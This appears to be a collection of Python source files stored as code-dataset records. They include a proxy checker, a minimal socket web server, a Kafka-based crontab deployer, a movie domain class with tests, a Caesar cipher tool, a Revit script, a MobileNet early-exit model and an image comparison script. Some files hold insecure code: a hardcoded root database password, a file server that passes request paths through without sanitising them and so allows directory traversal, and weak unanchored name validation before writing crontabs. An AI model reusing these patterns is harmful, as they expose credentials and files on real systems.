'{}://{}:{}'.format(one_ip_data[1], one_ip_data[2], one_ip_data[3])\n print('验证ip: {} 是否有效:'.format(type_ipaddress_port))\n try:\n response=requests.get('http://jsonip.com',proxies={one_ip_data[1]:type_ipaddress_port},timeout=3) #proxies={'HTTP':'HTTP://106.56.102.139:8070'}\n if response.json()['ip']==one_ip_data[2]:\n print('ip:{}有效 √'.format(one_ip_data))\n return 1\n else:\n print('ip:{}无效 X'.format(one_ip_data))\n return 0\n except Exception as e:\n print('ip:{}无效 X'.format(one_ip_data))\n self.delip(one_ip_data)\n return 0\n\n def delip(self,one_ip_data):\n conn = pymysql.connect(host=\"localhost\", port=3306, user=\"root\", password=\"liuzhiyu\", db=\"python77\",\n charset=\"utf8\")\n cursor = conn.cursor()\n sql = 'delete from proxyServer where id=%s'\n cursor.execute(sql,(one_ip_data[0]))\n conn.commit()\n print('删除ip:{}'.format(one_ip_data))\n cursor.close()\n conn.close()\n\n def mainfunc(self):\n ip = self.getip()\n while not ip:\n ip = self.getip()\n print('->', ip)\n return ip\n\n\nif __name__ == '__main__':\n gr = GetRandomIP()\n ip=gr.mainfunc()\n print('----------->',ip)\n\n\n\n\n\n","sub_path":"randomip.py","file_name":"randomip.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"430353830","text":"import os\nimport re\nimport sys\nimport socket\n\nCONTENT_TYPES = {\n 'jpg' : b'image/jpg',\n 'png' : b'image/png',\n 'gif' : b'image/gif',\n 'html' : b'text/html',\n 'css' : b'text/css',\n 'js' : b'application/javascript',\n 'json' : b'application/json'\n}\n\nBUILD = 'build/'\nHOST = '127.0.0.1'\nPORT = int(sys.argv[1]) if len(sys.argv) == 2 else 8888\nREGEX = re.compile('GET /(.*?) HTTP/1.1')\n\nlsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nlsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nlsock.bind((HOST, PORT))\nlsock.listen(1)\n\nwhile True:\n con, _ = lsock.accept()\n request = con.recvfrom(PORT)\n re_get = REGEX.search(request[0].decode('utf-8'))\n\n if re_get is not None:\n fname = BUILD + re_get.group(1)\n else:\n fname = \"none\"\n print(f'request: {fname}')\n\n try:\n (_, ext) = fname.split('.')\n except ValueError:\n fname = fname + '/index.html'\n ext = 'html'\n\n if os.path.exists(fname):\n response = b\"HTTP/1.1 200 OK\\nContent-type: \" + CONTENT_TYPES[ext] + b\"\\n\\n\" + \\\n open(fname, 'rb').read()\n print(\" responded\")\n else:\n response = b\"HTTP1.1 404 NOT-FOUND\"\n print(\"404\")\n\n con.sendall(response)\n con.close()\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"48282766","text":"import dns.resolver\nimport logging\nimport re\nimport os\nimport glob\nimport abc\nimport json\nimport shutil\nimport socket\nimport xml.etree.ElementTree\n\nimport kazoo.client\nimport samsa.cluster\nimport time\nimport xml.etree\n\nfrom scalegrease import error\nfrom scalegrease import system\nfrom scalegrease import common\n\n\ndef maven_output(mvn_cmd):\n output = system.run_with_logging(mvn_cmd)\n logging.debug(output)\n return output\n\n\ndef launch(crontab_glob, pom_file, offline, conf):\n offline_flag = [\"--offline\"] if offline else []\n all_crontabs = glob.glob(crontab_glob)\n if not all_crontabs:\n logging.warn(\"No crontab files found matching '%s', pwd=%s. Existing production crontabs \"\n \"will be deleted\", crontab_glob, os.getcwd())\n # Now, it would be great if maven could spit out structured output. This is fragile.\n effective_pom_output = maven_output([\"mvn\"] + offline_flag + [\"--file\", pom_file,\n \"help:effective-pom\"])\n def tag_value(elem, tag):\n return filter(lambda e: re.match(r\"\\{.*\\}\" + tag, e.tag), list(elem))[0].text\n\n pom_text = re.search(r\"\", effective_pom_output, re.DOTALL).group(0)\n pom = xml.etree.ElementTree.XML(pom_text)\n group_id = tag_value(pom, \"groupId\")\n artifact_id = tag_value(pom, \"artifactId\")\n\n logging.info(\"Determined groupId and artifactId: %s:%s\", group_id, artifact_id)\n\n launch_conf = conf['launch']\n launcher_class = system.load_class(launch_conf[\"launcher_class\"])\n launcher = launcher_class(launch_conf)\n launcher.launch(group_id, artifact_id, all_crontabs)\n\n\nclass Launcher(object):\n __metaclass__ = abc.ABCMeta\n\n def __init__(self, config):\n self._config = config\n\n @abc.abstractmethod\n def launch(self, group_id, artifact_id, crontabs):\n raise NotImplementedError()\n\n @abc.abstractmethod\n def snatch(self):\n raise NotImplementedError()\n\n\nclass KafkaLauncher(Launcher):\n VERSION = 1\n\n def _find_zk_hosts(self):\n zk_conf = self._config['zookeeper']\n hosts_conf = zk_conf.get('hosts')\n srv_conf = zk_conf.get('srv')\n if hosts_conf:\n if srv_conf:\n logging.warn(\"Found both hosts and srv zookeeper configuration, using hosts\")\n return hosts_conf\n answers = dns.resolver.query(srv_conf, 'SRV')\n return ','.join([\"{0}:{1}\".format(a.target.to_text(), a.port) for a in answers])\n\n def _obtain_topic(self):\n topic_name = str(self._config['kafka_launcher_topic'])\n zk_hosts = self._find_zk_hosts()\n zk = kazoo.client.KazooClient(hosts=zk_hosts)\n zk.start()\n cluster = samsa.cluster.Cluster(zk)\n topic = cluster.topics[topic_name]\n return topic, zk\n\n def _validate_name(self, name):\n if not re.match(r\"[a-zA-Z0-9\\._,:@-]{1,100}\", name):\n raise ValueError(\n 'Invalid component name, please use letters and digits: \"{0}\"'.format(name))\n\n def launch(self, group_id, artifact_id, crontabs):\n self._validate_name(group_id)\n self._validate_name(artifact_id)\n crontab_contents = []\n for cr in crontabs:\n self._validate_name(cr)\n crontab_contents.append({'name': os.path.basename(cr), 'content': system.read_file(cr) + '\\n'})\n msg = {'version': self.VERSION, 'group_id': group_id, 'artifact_id': artifact_id,\n 'crontabs': crontab_contents}\n json_msg = json.dumps(msg)\n topic, zk = self._obtain_topic()\n topic.publish(json_msg)\n # TODO: Use context manager, aka with statement\n zk.stop()\n\n def snatch(self):\n topic, zk = self._obtain_topic()\n group_name = b\"scalegrease-snatch-consumer-{0}-{1}\".format(\n socket.gethostname(), int(time.time()))\n consumer = topic.subscribe(group_name)\n while True:\n msg = consumer.next_message(block=True, timeout=1)\n if not msg:\n break\n try:\n self._handle_cron_msg(msg)\n except:\n logging.exception('Failed to handle message, proceeding to next:\\n \"%s\"', msg)\n\n # TODO: Use context manager, aka with statement\n zk.stop()\n\n def _handle_cron_msg(self, msg):\n logging.info('Processing launch message: \"%s\"', msg)\n json_msg = json.loads(msg)\n if json_msg['version'] != self.VERSION:\n logging.info(\"Retrieved wrong message version, expected %d, discarding: %s\",\n self.VERSION, msg)\n return\n group_id = json_msg['group_id']\n artifact_id = json_msg['artifact_id']\n crontabs = json_msg['crontabs']\n self._validate_name(group_id)\n self._validate_name(artifact_id)\n crontab_name_contents = dict([(ct['name'], ct['content']) for ct in crontabs])\n for crontab_name in crontab_name_contents:\n self._validate_name(crontab_name)\n self._update_crontabs(group_id, artifact_id, crontab_name_contents)\n\n def _package_prefix(self, group_id, artifact_id):\n return \"{0}__{1}__{2}__\".format(self._config[\"crontab_unique_prefix\"], group_id,\n artifact_id)\n\n def _update_crontabs(self, group_id, artifact_id, crontab_name_contents):\n cron_dst_dir = self._config[\"crontab_etc_crond\"]\n package_prefix = self._package_prefix(group_id, artifact_id)\n existing_crontabs = filter(lambda ct: ct.startswith(package_prefix),\n os.listdir(cron_dst_dir))\n # Crontab files must not contain a dot, or they will not be run.\n def name_transform(ct):\n return \"{0}/{1}\".format(os.path.dirname(ct), os.path.basename(ct).replace(\".\", \"_\"))\n for existing in existing_crontabs:\n if existing[len(package_prefix):] not in map(name_transform, crontab_name_contents):\n stale_path = \"{0}/{1}\".format(cron_dst_dir, existing)\n logging.info(\"rm %s\", stale_path)\n try:\n os.remove(stale_path)\n except IOError:\n logging.exception(\"Failed to remove %s\", stale_path)\n for tab_name, tab_contents in crontab_name_contents.items():\n dst_path = name_transform(\"{0}/{1}{2}\".format(cron_dst_dir, package_prefix, tab_name))\n if not os.path.isfile(dst_path) or tab_contents != system.read_file(dst_path):\n logging.info(\"Writing crontab %s, contents:\\n %s\", dst_path, tab_contents)\n try:\n system.write_file(dst_path, tab_contents)\n except IOError:\n logging.exception(\"Failed to install crontab %s\", dst_path)\n else:\n os.utime(dst_path, None)\n\n\ndef extra_arguments_adder(parser):\n parser.add_argument(\"--cron-glob\", \"-g\", default=\"src/main/cron/*.cron\",\n help=\"Glob pattern for enumerating cron files\")\n parser.add_argument(\"--mvn-offline\", \"-o\", action=\"store_true\",\n help=\"Use Maven in offline mode\")\n parser.add_argument(\"--pom-file\", \"-p\", default=\"pom.xml\",\n help=\"Path to project pom file\")\n\n\ndef log_path_infix(args):\n # The arguments are not so interesting to qualify the path with\n return \"launcher/\"\n\n\ndef main(argv):\n args, conf = common.initialise(argv, extra_arguments_adder, log_path_infix)\n\n try:\n launch(args.cron_glob, args.pom_file, args.mvn_offline, conf)\n except error.Error:\n logging.exception(\"Job failed\")\n return 1\n","sub_path":"scalegrease/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":7697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"91945014","text":"from .genre import Genre\nfrom .actor import Actor\nfrom .director import Director\n\nclass Movie:\n\n def __init__(self, title: str, year: int):\n if title == \"\" or type(title) is not str:\n self.__title = None\n self.__year = None\n self.__description = None\n self.__director = None\n self.__actorList = None\n self.__genreList = None\n self.__runtime = None\n if year == \"\" or type(year) is not int:\n self.__title = None\n self.__year = None\n self.__description = None\n self.__director = None\n self.__actorList = None\n self.__genreList = None\n self.__runtime = None\n else:\n self.__title = title.strip()\n self.__year = year\n self.__description = \"\"\n self.__director = Director\n self.__actorList = []\n self.__genreList = []\n self.__runtime = 0\n \n @property\n def title(self) -> str:\n return self.__title\n \n @property\n def year(self) -> str:\n return self.__year\n\n @property\n def description(self) -> str:\n return self.__description\n\n @description.setter\n def description(self, descr: str):\n self.__description = descr.strip()\n \n @property\n def director(self) -> Director:\n return self.__director\n \n @director.setter\n def director(self, director1: Director):\n self.__director = director1\n\n @property\n def actors(self) -> list:\n return self.__actorList\n\n @actors.setter\n def actors(self, value: Actor):\n self.__actorList.append(value)\n\n @property\n def genres(self) -> list:\n return self.__genreList\n\n @genres.setter\n def genres(self, value: Genre):\n self.__genreList.append(value)\n \n @property\n def runtime_minutes(self) -> int:\n return self.__runtime\n\n @runtime_minutes.setter\n def runtime_minutes(self, value: int):\n if value < 0:\n raise ValueError\n self.__runtime = value\n\n def __repr__(self):\n return f\"\"\n\n def __eq__(self, other) -> bool:\n if not isinstance(other, Movie):\n return False\n return (other.__title == self.__title) and (other.__year == self.__year)\n\n def __lt__(self, other):\n if (self.__title == other.__title):\n return self.__year < other.__year\n return self.__title < other.__title\n\n def __hash__(self):\n return hash(self.__title + str(self.__year))\n\n def add_actor(self, addActor: Actor):\n if (addActor not in self.__actorList):\n self.__actorList.append(addActor)\n\n def remove_actor(self, removeActor: Actor):\n if (removeActor in self.__actorList):\n self.__actorList.remove(removeActor)\n\n def add_genre(self, addGenre: Genre):\n if (addGenre not in self.__genreList):\n self.__genreList.append(addGenre)\n\n def remove_genre(self, removeGenre: Genre):\n if (removeGenre in self.__genreList):\n self.__genreList.remove(removeGenre)\n\nclass TestMovieMethods:\n\n def test_init(self):\n movie1 = Movie(\"Harry Potter\", 2010)\n assert movie1.title == \"Harry Potter\"\n assert movie1.year == 2010\n movie1.description = \"Wizard Movie\"\n assert movie1.description == \"Wizard Movie\"\n movie1.director = Director(\"Ronald Weasley\")\n assert movie1.director == Director(\"Ronald Weasley\")\n assert movie1.actors == []\n movie1.actors = Actor(\"Hermione Granger\")\n assert movie1.actors == [Actor(\"Hermione Granger\")]\n movie1.actors = Actor(\"Rubius Hagrid\")\n assert movie1.actors == [Actor(\"Hermione Granger\"), Actor(\"Rubius Hagrid\")]\n assert movie1.genres == []\n movie1.genres = Genre(\"Fantasy\")\n assert movie1.genres == [Genre(\"Fantasy\")]\n movie1.genres = Genre(\"Adventure\")\n assert movie1.genres == [Genre(\"Fantasy\"), Genre(\"Adventure\")]\n assert movie1.runtime_minutes == 0\n movie1.runtime_minutes = 100\n assert movie1.runtime_minutes == 100\n assert repr(movie1) == \"\"\n movie2 = Movie(\"Ronald Weasley\", 2010)\n #assert movie1 == movie2\n assert movie1 == movie1\n assert movie1 < movie2\n movie3 = Movie(\"Ronald Weasley\", 2011)\n assert movie2 < movie3\n movie1.add_actor(Actor(\"Severus Snape\"))\n assert movie1.actors == [Actor(\"Hermione Granger\"), Actor(\"Rubius Hagrid\"), Actor(\"Severus Snape\")]\n movie1.remove_actor(Actor(\"Severus Snape\"))\n assert movie1.actors == [Actor(\"Hermione Granger\"), Actor(\"Rubius Hagrid\")]\n movie1.add_genre(Genre(\"Wizard\"))\n assert movie1.genres == [Genre(\"Fantasy\"), Genre(\"Adventure\"), Genre(\"Wizard\")]\n movie1.add_genre(Genre(\"Wizard\"))\n assert movie1.genres == [Genre(\"Fantasy\"), Genre(\"Adventure\"), Genre(\"Wizard\")]\n movie1.remove_genre(Genre(\"Wizard\"))\n assert movie1.genres == [Genre(\"Fantasy\"), Genre(\"Adventure\")]\n movie1.director = Director(\"Albus Dumbledore\")\n assert movie1.director == Director(\"Albus Dumbledore\")\n assert hash(movie1) == hash(movie1)\n #assert hash(movie2) == hash(movie1)","sub_path":"domainmodel/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"185998284","text":"from encrypt import encrypt_message_with_code_word as encr\nfrom decrypt import decrypt_message_with_code_word as decr\nimport argparse\nimport sys\n\n\n'''\nUses Caesar Cipher and a Code Word to either encrypt or decrypt a message.\nUsage example:\npython main.py --e --m=\"message to encrypt\" --c=\"codeword\"\n'''\n\ndef main():\n '''\n You can use either decrypting or encrypting option but not both at the same time.\n '''\n parser = argparse.ArgumentParser()\n parser.add_argument('--d', action='store_true', default=None, help=\"Use if you want to decrypt\")\n parser.add_argument('--e', action='store_true', default=None, help=\"Use if you want to encrypt\")\n parser.add_argument('--m', required = True, help=\"Provide a message.\")\n parser.add_argument('--c', required = True, help=\"Provide a code word.\")\n\n args = parser.parse_args()\n sys.stdout.write(get_message(args))\n\ndef get_message(args):\n if (args.d is not None):\n return decr(args.m,args.c)\n elif(args.e is not None):\n return encr(args.m, args.c)\nmain()\n","sub_path":"4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"651895702","text":"__author__ = 'Dan Mapes'\n__doc__ = 'Add Schedule Parameters to Family \\n'\\\n'Must load famiy after running. Select family and choose edit family, '\\\n'then load into project.'\n\n\nimport Autodesk.Revit.DB as DB\nfrom pyrevit import script, forms, revit\nfrom Autodesk.Revit.DB import ViewSchedule, Transaction, FamilyManager, \\\nBuiltInParameterGroup, IFamilyLoadOptions\nfrom rpw.ui.forms import SelectFromList\nimport clr\n\ndoc = __revit__.ActiveUIDocument.Document\nuidoc = __revit__.ActiveUIDocument\ncategories = doc.Settings.Categories\n\nfor category in categories:\n if category.Name == 'Mechanical Equipment':\n category_id = category.Id\n\nall_parameter_guids = []\nall_parameter_names = []\n\n# class familyLoadOptions:\n# overwriteParameterValues = True\n# DB.IFamilyLoadOptions.OnFamilyFound(True, overwriteParameterValues)\n# DB.IFamilyLoadOptions.OnSharedFamilyFound(True,True, fam_path, overwriteParameterValues)\n# familyLoadOptions = DB.IFamilyLoadOptions\n# overwriteParameterValues = True\n# familyLoadOptions.OnFamilyFound(overwriteParameterValues)\n# familyLoadOptions.OnSharedFamilyFound(True,True, fam_path, overwriteParameterValues)\n\n\n# open shared parameter file\nsp_file = doc.Application.OpenSharedParameterFile()\nsp_file_name = sp_file.Filename\n# print sp_file_name\nsp_groups = sp_file.Groups\nfor group in sp_groups:\n group_name = group.Name\n definitions = group.Definitions\n for item in definitions:\n guid = item.GUID\n type = item.ParameterType\n unit = item.UnitType\n name = item.Name\n all_parameter_guids.append(item)\n all_parameter_names.append(name)\n\nall_schedules = []\nall_schedule_names = []\n\n# select Schedule elements\nsched_view_param_id = DB.ElementId(DB.BuiltInParameter.VIEW_FAMILY_SCHEDULES)\n\nsched_view_param_prov = DB.ParameterValueProvider(sched_view_param_id)\n\nsched_category_equality = DB.FilterStringEquals()\n\nsched_category_value_rule = DB.FilterStringRule(sched_view_param_prov,\n sched_category_equality,\n 'Schedule',\n True)\n\nsched_category_rule = DB.ElementParameterFilter(sched_category_value_rule)\n\nschedules = DB.FilteredElementCollector(doc) \\\n .WherePasses(sched_category_rule) \\\n .ToElements()\n\nfor schedule in schedules:\n if not isinstance(schedule, ViewSchedule):\n continue\n if schedule.Definition.CategoryId != category_id:\n continue\n all_schedules.append(schedule.Id)\n all_schedule_names.append(schedule.Name)\n\nnames_and_ids = zip(all_schedule_names, all_schedules)\nnames_and_ids_dict = dict(names_and_ids)\n\nselected_schedule_value = SelectFromList('Select Filter to Apply', names_and_ids_dict.keys())\nselected_schedule_id = names_and_ids_dict[selected_schedule_value]\nselected_schedule = doc.GetElement(selected_schedule_id)\n\n# info from schedule fields\nschedule_fields = selected_schedule.Definition.GetSchedulableFields()\nschedule_field_count = selected_schedule.Definition.GetFieldCount()\nall_fields = selected_schedule.Definition.GetFieldOrder()\nall_filters = selected_schedule.Definition.GetFilters()\ncategory_id = selected_schedule.Definition.CategoryId\n\n# additioinal info from schedule data\ntable = selected_schedule.GetTableData()\nfields = []\nfield_names = []\n\nfor filter in all_filters:\n if filter.IsStringValue == True:\n \tfilter_string = filter.GetStringValue()\n\nfor field in all_fields:\n\tfield_id = selected_schedule.Definition.GetField(field)\n\t# if selected_schedule.Definition.GetField(field).IsHidden == True:\n\t# \tcontinue\n\thidden = field_id.IsHidden\n\tfield_width = field_id.GridColumnWidth\n\tname = field_id.GetName()\n\tparam_id = field_id.ParameterId\n\tfield_index = field_id.FieldIndex\n\tfields.append(field_index)\n\tfield_names.append(name)\n # print name\n\nparameter_names_and_guids = zip(all_parameter_names, all_parameter_guids)\nparameter_names_and_ids_dict = dict(parameter_names_and_guids)\n\n# for field_name in field_names:\n# if field_name in parameter_names_and_ids_dict.keys():\n# print parameter_names_and_ids_dict[field_name]\n\nwith forms.WarningBar(title='Pick family to add parameters:'):\n selected_element = revit.pick_element()\nfam_doc = doc.EditFamily(selected_element.Symbol.Family)\nfam_name = clr.Reference[DB.Family](selected_element.Symbol.Family)\nfam_path = fam_doc.PathName\n\nt = Transaction(fam_doc, \"Add Parameters\")\nt.Start()\n\nfor field_name in field_names:\n if field_name in parameter_names_and_ids_dict.keys():\n fam_doc.FamilyManager.AddParameter(parameter_names_and_ids_dict[field_name], \\\n BuiltInParameterGroup.PG_MECHANICAL, True)\n\nt.Commit()\n\nfam_doc.Close\n\nfamily = selected_element.Symbol.Family\nfamily_ids = family.GetFamilySymbolIds()\n\nt = Transaction(doc, \"Set Type Mark\")\nt.Start()\nfor id in family_ids:\n fam_sym = doc.GetElement(id)\n type_mark = fam_sym.LookupParameter('Type Mark')\n type_mark.Set(filter_string)\nt.Commit()\n\n# t = Transaction(doc, \"Delete Family\")\n# t.Start()\n# revit.doc.Delete(selected_element.Symbol.Id)\n# t.Commit()\n\n# t = Transaction(fam_doc, \"Load family\")\n# t.Start()\n# overwriteParameterValues = True\n# familyLoadOptions = DB.IFamilyLoadOptions\n# ret_ref = clr.Reference[DB.Family]()\n# # familyLoadOptions.OnFamilyFound(overwriteParameterValues)\n# # familyLoadOptions.OnSharedFamilyFound(True,True, fam_path, overwriteParameterValues)\n# family_load = doc.LoadFamily(fam_doc, ret_ref)\n# if family_load == True:\n# print 'Successfull'\n# else:\n# print 'Did not load Family'\n#\n# t.Commit()\n\n\n# t = Transaction(doc, \"Load family\")\n# t.Start()\n# fam_doc.LoadFamily(doc)\n# # OnFamilyFound(True,False)\n# # OnSharedFamilyFound(True,False)\n# t.Commit()\n","sub_path":"pyMapes.extension/_deprecated tools/Add Schedule Parameters to Family_v1.0.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"81263986","text":"import torch\nimport torch.nn as nn\n#from utils import ExitBlock\nfrom pthflops import count_ops\nimport torchvision.models as models\nimport numpy as np\n#import config\n\nclass ConvBasic(nn.Module):\n def __init__(self, nIn, nOut, kernel=3, stride=1,\n padding=1):\n super(ConvBasic, self).__init__()\n self.net = nn.Sequential(\n nn.Conv2d(nIn, nOut, kernel_size=kernel, stride=stride,\n padding=padding, bias=False),\n nn.BatchNorm2d(nOut),\n nn.ReLU(True)\n )\n\n def forward(self, x):\n return self.net(x)\n\ndef conv_bn(inp, oup, stride):\n return nn.Sequential(\n nn.Conv2d(inp, oup, 3, stride, 1, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU6(inplace=True)\n )\n\ndef conv_bn(inp, oup, stride):\n return nn.Sequential(\n nn.Conv2d(inp, oup, 3, stride, 1, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU6(inplace=True)\n )\n\n\ndef conv_1x1_bn(inp, oup):\n return nn.Sequential(\n nn.Conv2d(inp, oup, 1, 1, 0, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU6(inplace=True)\n )\n\n\nclass ExitBlock(nn.Module):\n \"\"\"\n This class defines the Early Exit, which allows to finish the inference at the middle layers when\n the classification confidence achieves a predefined threshold\n \"\"\"\n def __init__(self, n_classes, input_shape, exit_type, device):\n super(ExitBlock, self).__init__()\n _, channel, width, height = input_shape\n \"\"\"\n This creates a random input sample whose goal is to find out the input shape after each layer.\n In fact, this finds out the input shape that arrives in the early exits, to build a suitable branch.\n\n Arguments are\n\n nIn: (int) input channel of the data that arrives into the given branch.\n n_classes: (int) number of the classes\n input_shape: (tuple) input shape that arrives into the given branch\n exit_type: (str) this argument define the exit type: exit with conv layer or not, just fc layer\n dataset_name: (str) defines tha dataset used to train and evaluate the branchyNet\n \"\"\"\n\n self.expansion = 1\n self.device = device\n self.layers = nn.ModuleList()\n\n # creates a random input sample to find out input shape in order to define the model architecture.\n x = torch.rand(1, channel, width, height).to(device)\n \n self.conv = nn.Sequential(\n ConvBasic(channel, channel, kernel=3, stride=2, padding=1),\n nn.AvgPool2d(2),)\n \n #gives the opportunity to add conv layers in the branch, or only fully-connected layers\n if (exit_type == \"conv\"):\n self.layers.append(self.conv)\n else:\n self.layers.append(nn.AdaptiveAvgPool2d(2))\n \n feature_shape = nn.Sequential(*self.layers).to(device)(x).shape\n \n total_neurons = feature_shape[1]*feature_shape[2]*feature_shape[3] # computes the input neurons of the fc layer \n self.layers = self.layers.to(device)\n self.classifier = nn.Linear(total_neurons , n_classes).to(device) # finally creates \n \n def forward(self, x):\n for layer in self.layers:\n x = layer(x)\n x = x.view(x.size(0), -1)\n\n return self.classifier(x)\n\nclass B_MobileNet(nn.Module):\n def __init__(self, n_classes: int, \n pretrained: bool, n_branches: int, img_dim:int, \n exit_type: str, device, branches_positions=None, distribution=\"linear\"):\n super(B_MobileNet, self).__init__()\n\n self.n_classes = n_classes\n self.pretrained = pretrained\n self.n_branches = n_branches\n self.img_dim = img_dim\n self.exit_type = exit_type\n self.branches_positions = branches_positions\n self.distribution = distribution\n self.softmax = nn.Softmax(dim=1)\n self.device = device\n\n self.model = self.initialize_model()\n self.n_blocks = len(list(self.model.features))\n self.insertBranches()\n \n def initialize_model(self):\n model = models.mobilenet_v2(pretrained=self.pretrained)\n model.classifier[1] = nn.Linear(model.classifier[1].in_features, self.n_classes)\n return model.to(self.device)\n \n def countFlops(self):\n x = torch.rand(1, 3, self.img_dim, self.img_dim).to(self.device)\n flops_count_dict = {}\n flops_acc_dict = {}\n flops_list = []\n total_flops = 0\n for i, layer in enumerate(self.model.features, 1):\n ops, all_data = count_ops(layer, x, print_readable=False, verbose=False)\n x = layer(x)\n flops_count_dict[i] = ops\n total_flops += ops\n flops_acc_dict[i] = total_flops\n \n #for key, value in flops_acc_dict.items():\n # flops_acc_dict[key] = value/total_flops\n\n return flops_count_dict, flops_acc_dict, total_flops\n\n def set_thresholds(self, total_flops):\n \"\"\"\n \"\"\"\n gold_rate = 1.61803398875\n flop_margin = 1.0 / (self.n_branches+1)\n self.threshold = []\n self.percentage_threshold = []\n \n for i in range(self.n_branches):\n if (self.distribution == 'pareto'):\n self.threshold.append(total_flops * (1 - (0.8**(i+1))))\n self.percentage_threshold.append(1 - (0.8**(i+1)))\n elif (self.distribution == 'fine'):\n self.threshold.append(total_flops * (1 - (0.95**(i+1))))\n self.percentage_threshold.append(1 - (0.95**(i+1)))\n elif (self.distribution == 'linear'):\n self.threshold.append(total_flops * flop_margin * (i+1))\n self.percentage_threshold.append(flop_margin * (i+1))\n\n else:\n self.threshold.append(total_flops * (gold_rate**(i - self.num_ee)))\n self.percentage_threshold.append(gold_rate**(i - self.n_branches))\n \n \n def is_suitable_for_exit(self, i, flop_count):\n if (self.branches_positions is None):\n return self.stage_id < self.n_branches and flop_count >= self.threshold[self.stage_id]\n \n else:\n return i in self.branches_positions\n \n def add_early_exit(self, layer):\n #print(\"Adding\")\n self.stages.append(nn.Sequential(*self.layers))\n x = torch.rand(1, 3, self.img_dim, self.img_dim).to(self.device)\n feature_shape = nn.Sequential(*self.stages)(x).shape\n self.exits.append(ExitBlock(self.n_classes, feature_shape, self.exit_type, self.device))\n self.stage_id += 1\n self.layers = nn.ModuleList()\n\n def insertBranches(self):\n self.stages = nn.ModuleList()\n self.exits = nn.ModuleList()\n self.layers = nn.ModuleList()\n self.stage_id = 0\n\n flops_count_dict, flops_acc_dict, total_flops = self.countFlops()\n self.set_thresholds(total_flops)\n\n for i, layer in enumerate(self.model.features, 1):\n if (self.is_suitable_for_exit(i, flops_acc_dict[i])):\n self.add_early_exit(layer)\n else:\n self.layers.append(layer)\n\n self.stages.append(nn.Sequential(*self.layers))\n self.fully_connected = self.model.classifier\n\n\n def forwardTrain(self, x):\n output_list, conf_list, class_list = [], [], []\n for i, exitBlock in enumerate(self.exits):\n x = self.stages[i](x)\n output_branch = exitBlock(x)\n output_list.append(output_branch)\n conf, infered_class = torch.max(self.softmax(output_branch), 1)\n conf_list.append(conf)\n class_list.append(infered_class)\n\n x = self.stages[-1](x)\n x = x.mean(3).mean(2)\n\n output = self.fully_connected(x)\n infered_conf, infered_class = torch.max(self.softmax(output), 1)\n output_list.append(output)\n conf_list.append(infered_conf)\n class_list.append(infered_class)\n return output_list, conf_list, class_list\n\n def forwardEval(self, x, p_tar):\n output_list, conf_list, class_list = [], [], []\n for i, exitBlock in enumerate(self.exits): #[:config.N_BRANCHES] it acts to select until branches will be processed. \n x = self.stages[i](x)\n output_branch = exitBlock(x)\n conf, infered_class = torch.max(self.softmax(output_branch), 1)\n if (conf.item() > p_tar):\n return output_branch, conf_list, infered_class\n\n else:\n output_list.append(output_branch)\n conf_list.append(conf.item())\n class_list.append(infered_class)\n\n\n\n return x, conf_list, None\n\n def forward(self, x, p_tar=0.5):\n return self.forwardEval(x, p_tar)\n","sub_path":"mobilenet.py","file_name":"mobilenet.py","file_ext":"py","file_size_in_byte":8126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"300359700","text":"import os\nimport argparse\nfrom skimage.metrics import structural_similarity\nimport imutils\nimport cv2\nimport hashlib\n\n# get the image size through os liberary using getsize function\ndef ImSize(image):\n try:\n size = os.path.getsize(image)\n except Exception as e:\n print(e)\n return size\n\n # hashing the files using MD5 hash function\ndef ImHash(file):\n with open(file, 'rb') as f:\n return hashlib.md5(f.read()).hexdigest()\n\n\n# system arguement to (ask the client entering the images)\narg = argparse.ArgumentParser()\narg.add_argument(\"-i\", \"--image1\", required=True,help=\"the first image\")\narg.add_argument(\"-j\", \"--image2\", required=True,help=\"the second image\")\nargs = vars(arg.parse_args())\n\n\n\n# Delegating tasks to other functions ( Pass the images on the two functions \"hashing and size function\", and then store the data in the new defined functions size, size2 and hash ,hash2)\nsize = ImSize(args[\"image1\"])\nhash = ImHash(args[\"image1\"])\nsize2 = ImSize(args[\"image2\"])\nhash2 = ImHash(args[\"image2\"])\nprint(args[\"image1\"], '\\t', 'size: ',size, '\\t', 'Hash: ', hash)\nprint(args[\"image2\"], '\\t', 'size: ',size2, '\\t', 'Hash: ', hash2)\n\n# load the two input images and reading them\nimageA = cv2.imread(args[\"image1\"])\nimageB = cv2.imread(args[\"image2\"])\n \n# convert the images to grayscale\ngrayA = cv2.cvtColor(imageA, cv2.COLOR_BGR2GRAY)\ngrayB = cv2.cvtColor(imageB, cv2.COLOR_BGR2GRAY)\n\n# check their similarty\n(score, diff) = structural_similarity(grayA, grayB, full=True)\ndiff = (diff * 255).astype(\"uint8\")\nprint(\"Structural Similarty: {}\".format(score))\n","sub_path":"steganalysis.py","file_name":"steganalysis.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"349497223","text":"#!~/anaconda3/bin/python3.6\n# encoding: utf-8\n\n\"\"\"\n@version: 0.0.1\n@author: Yongbo Wang\n@contact: yongbowin@outlook.com\n@file: Keras-Practice - PG_cartpole.py\n@time: 4/23/18 6:59 PM\n@description: \n\"\"\"\nimport os\nimport pickle\nimport numpy as np\nfrom keras.layers import Dense\nfrom keras.models import 